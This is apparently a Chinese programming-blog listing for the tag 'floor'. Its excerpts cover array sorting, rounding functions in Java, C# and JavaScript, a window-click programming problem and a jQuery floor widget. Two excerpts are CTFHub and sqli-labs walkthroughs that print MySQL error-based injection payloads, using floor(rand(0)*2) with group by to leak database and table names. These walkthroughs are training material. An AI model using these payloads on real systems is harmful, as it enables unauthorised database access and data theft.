floor

关于sort排序

回眸只為那壹抹淺笑 提交于 2020-03-26 02:53:47
JavaScript的数组排序函数 sort方法,默认是按照ASCII 字符顺序进行升序排列。 arrayobj.sort(sortfunction); 参数:sortFunction 可选项。是用来确定元素顺序的函数的名称。如果这个参数被省略,那么元素将按照 ASCII 字符顺序进行升序排列。 sort 方法将 Array 对象进行适当的排序;在执行过程中并不会创建新的 Array 对象。 如果为 sortfunction 参数提供了一个函数,那么该函数必须返回下列值之一: 负值,如果所传递的第一个参数比第二个参数小。 零,如果两个参数相等。 正值,如果第一个参数比第二个参数大。 通过实际例子来了解sort函数 1.字符串排序 var fruits = [ "Banana" , "Orange" , "Apple" , "Mango" ] ; fruits. sort () ; //排序结果是Apple,Banana,Mango,Orange //若要得到结果Orange,Mango,Banana,Apple只需要将上步得到的fruits结果反转即可 fruits. reverse () ; //排序结果是Orange,Mango,Banana,Apple 2.数字排序 从小到大 var points = [ 40 , 100 , 1 , 5 , 25 , 10 ] ;

ctfhub技能树—sql注入—报错注入

有些话、适合烂在心里 提交于 2020-03-12 13:16:08
打开靶机 payload 1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x; payload拆分讲解 1 count():count()函数返回匹配指定条件的行数。count(*)函数返回表中的记录数 2 floor():floor:函数是用来向下取整呢个的,相当于去掉小数部分 3 rand():rand()是随机取(0,1)中的一个数,但是给它一个参数后0,即rand(0),并且传如floor()后,即:floor(rand(0)*2)它就不再是随机了,序列0110110 4 concat():用于连接两个字符串 5 group by x:x就是相当于 as x,设一个别名 6 0x26:16进制数值,ASCII为“&”,在回显中起到分隔作用 产生原因 MySQL报错注入通过构造payload让信息通过错误提示回显出来,主要应用与查询不回现内容,会打印错误信息;Update、insert等语句,会打印错误的信息。 报错注入实现原因(摘自:https://www.cnblogs.com/Triomphe/p/9489639.html) 报错的原因是因为 rand()函数在查询的时候会执行一次,插入的时候还会执行一次.

Math类的三个方法比较: floor() ceil() round()

旧巷老猫 提交于 2020-03-06 00:37:23
1 public class Test { 2 public static void main(String[] args) { 3 double d1 = 3.4, d2 = 3.6; //正数 4 double d3 = -3.4, d4 = -3.6; //负数 5 6 float f1 = 4.4F, f2 = 4.6F; //正数 7 float f3 = -4.4F, f4 = -4.6F; //负数 8 9 //floor()方法只能接收double类型,返回double类型 10 //向下取整,返回小于参数的最大整数 11 System.out.println(Math.floor(d1));//3.0 12 System.out.println(Math.floor(d2));//3.0 13 System.out.println(Math.floor(d3));//-4.0 14 System.out.println(Math.floor(d4));//-4.0 15 16 17 //ceil()方法只能接收double类型,返回double类型 18 //向上取整,返回大于参数的最小整数 19 System.out.println(Math.ceil(d1));//4.0 20 System.out.println(Math.ceil(d2));//4.0

Java Math的 floor,round和ceil

生来就可爱ヽ(ⅴ<●) 提交于 2020-03-06 00:37:03
floor 返回不大于的最大整数 round 则是4舍5入的计算,入的时候是到大于它的整数 round方法,它表示“四舍五入”,算法为Math.floor(x+0.5),即将原来的数字加上0.5后再向下取整,所以,Math.round(11.5)的结果为12,Math.round(-11.5)的结果为-11。 ceil 则是不小于他的最小整数 看例子 Math.floor Math.round Math.ceil 1.4 1 1 2 1.5 1 2 2 1.6 1 2 2 -1.4 -2 -1 -1 -1.5 -2 -1 -1 -1.6 -2 -2 -1 来源: https://www.cnblogs.com/rdchen/p/10784330.html

CCF-窗口

拜拜、爱过 提交于 2020-03-04 08:54:39
问题描述   在某图形操作系统中,有 N 个窗口,每个窗口都是一个两边与坐标轴分别平行的矩形区域。窗口的边界上的点也属于该窗口。窗口之间有层次的区别,在多于一个窗口重叠的区域里,只会显示位于顶层的窗口里的内容。   当你点击屏幕上一个点的时候,你就选择了处于被点击位置的最顶层窗口,并且这个窗口就会被移到所有窗口的最顶层,而剩余的窗口的层次顺序不变。如果你点击的位置不属于任何窗口,则系统会忽略你这次点击。   现在我们希望你写一个程序模拟点击窗口的过程。 输入格式   输入的第一行有两个正整数,即 N 和 M。(1 ≤ N ≤ 10,1 ≤ M ≤ 10)   接下来 N 行按照从最下层到最顶层的顺序给出 N 个窗口的位置。 每行包含四个非负整数 x1, y1, x2, y2,表示该窗口的一对顶点坐标分别为 (x1, y1) 和 (x2, y2)。保证 x1 < x2,y1 2。   接下来 M 行每行包含两个非负整数 x, y,表示一次鼠标点击的坐标。   题目中涉及到的所有点和矩形的顶点的 x, y 坐标分别不超过 2559 和  1439。 输出格式   输出包括 M 行,每一行表示一次鼠标点击的结果。如果该次鼠标点击选择了一个窗口,则输出这个窗口的编号(窗口按照输入中的顺序从 1 编号到 N);如果没有,则输出"IGNORED"(不含双引号)。 样例输入 3 4 0 0 4

jQuery实现商品楼层和电梯功能

不羁岁月 提交于 2020-03-03 20:50:51
效果图 floor.html <!DOCTYPE html> <html lang="zh-CN"><!-- 设置简体中文 --> <head> <meta charset="UTF-8"> <title>floor</title> <link rel="stylesheet" href="../css/base.css"> <link rel="stylesheet" href="../css/floor.css"> </head> <body> <!-- 1F --> <div class="floor"> <div class="container"> <img src="../img/floor-loading.gif"> </div> </div> <!-- 2F一 --> <div class="floor"> <div class="container"> <img src="../img/floor-loading.gif"> </div> </div> <!-- 3F --> <div class="floor" > <div class="container"> <img src="../img/floor-loading.gif"> </div> </div> <!-- 4F --> <div class="floor"> <div class=

jQuery封装的tab组件(可选自动+可选延迟处理+按需加载)

可紊 提交于 2020-02-29 21:04:38
效果图 tab2.html <!DOCTYPE html> <html lang="zh-CN"><!-- 设置简体中文 --> <head> <meta charset="UTF-8"> <title>tab2按需加载</title> <link rel="stylesheet" href="../css/base.css"> <link rel="stylesheet" href="../css/tab2.css"> <!-- css一般放在DOM加载前,防止DOM裸奔 --> </head> <body> <!-- 楼层一 --> <div class="floor"> <div class="container"> <div class="tab-head"> <div class="tab-head-title fl"> <span class="tab-head-title-num">1F</span><span class="tab-head-title-name">服装箱包</span> </div> <ul class="tab-head-item-wrap fr"> <li class="fl"><a href="javascript:;" class="tab-head-item tab-head-item-active">大牌</a></li> <li

JS生成指定位数的随机

与世无争的帅哥 提交于 2020-02-22 08:55:59
<html><script> //获取指定位数的随机数 function getRandom(num){ var random = Math.floor((Math.random()+Math.floor(Math.random()*9+1))*Math.pow(10,num-1)); } //调用随机数函数生成10位数的随机数 getRandom(10);</script> </html> 实现思路(文末有代码过程及运行结果),以获取10位随机数为例: 1、Math.random()函数可以获得0到1之间的小数,Math.pow(10,10)函数进行幂运算等价于10的10次方,Math.floor()函数向下取整去除小数位; 2、组合起来则可以获得一个10位的随机数:Math.floor(Math.random()*Math.pow(10,10)); 3、但是,如果Math.randow()的第一位小数位为0则可能获得的是9位随机数; 4、将Math.randow()加1,排除第一位小数位为0的情况,相应的幂运算减一位 Math.floor((Math.random()+1))*Math.pow(10,9)); 如此将获得一个10位的随机数,但是都将以1开头; 5、为了开头也能随机取数,可以将1替换为Math.floor(Math.random()*9+1); 6

c#中取整函数Math.Ceiling,Math.Round和Math.Floor的区别

无人久伴 提交于 2020-02-08 04:38:46
1. Math.Ceiling(),只要有小数就加1(小数部分不为0) 例如: Math.Ceiling(0.0) -> 0 Math.Ceiling(0.1) -> 1 Math.Ceiling(0.2) -> 1 Math.Ceiling(0.3) -> 1 Math.Ceiling(0.4) -> 1 Math.Ceiling(0.5) -> 1 Math.Ceiling(0.6) -> 1 Math.Ceiling(1.1) -> 2 2.Math.Round(),四舍五入取偶 四舍五入取偶意思的意思就是,针对于5到底入不入。如果把5入进去整数为偶数则入,若是奇数则不入。这样说如果不太理解,看下面的例子应该就会很容易理解了。 例如: Math.Round(0.4) -> 0 Math.Round(0.5) -> 0 Math.Round(0.6) -> 1 Math.Round(1.5) -> 2 Math.Round(2.5) -> 2 Math.Round(3.5) -> 4 3.Math.Floor(): 总是舍去小数 例如: Math.Floor(0.0) -> 0 Math.Floor(0.1) -> 0 Math.Floor(0.2) -> 0 Math.Floor(0.3) -> 0 Math.Floor(0.4) -> 0 Math.Floor(0.5) -

Less(6)

[亡魂溺海] 提交于 2020-01-29 05:05:36
1.先判断注入类型   (1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1   (2)再输入?id=1'   (3)再输入?id=1 and 1=1   (4)再输入?id=1 and 1=2     (3)(4)界面一样,所以不是数字型   (5)再输入?id=1"     发现报错,我们加上--+,把后面注释掉   (6)输入: ?id=1" --+   接受的参数为id="1" 2..对列数进行判断   (1)输入?id=1") order by 3 --+   (2)输入?id=1") order by 4 --+   (3)为3列 3.因为页面正常的时候,均无输出部分,判断应该没有显示位,此时可尝试报错注入。 4.我们用floor进行注入   (1)注当前的 数据库 名:?id=-1" union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; --+   (2)爆注册表:?id=-1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema="security"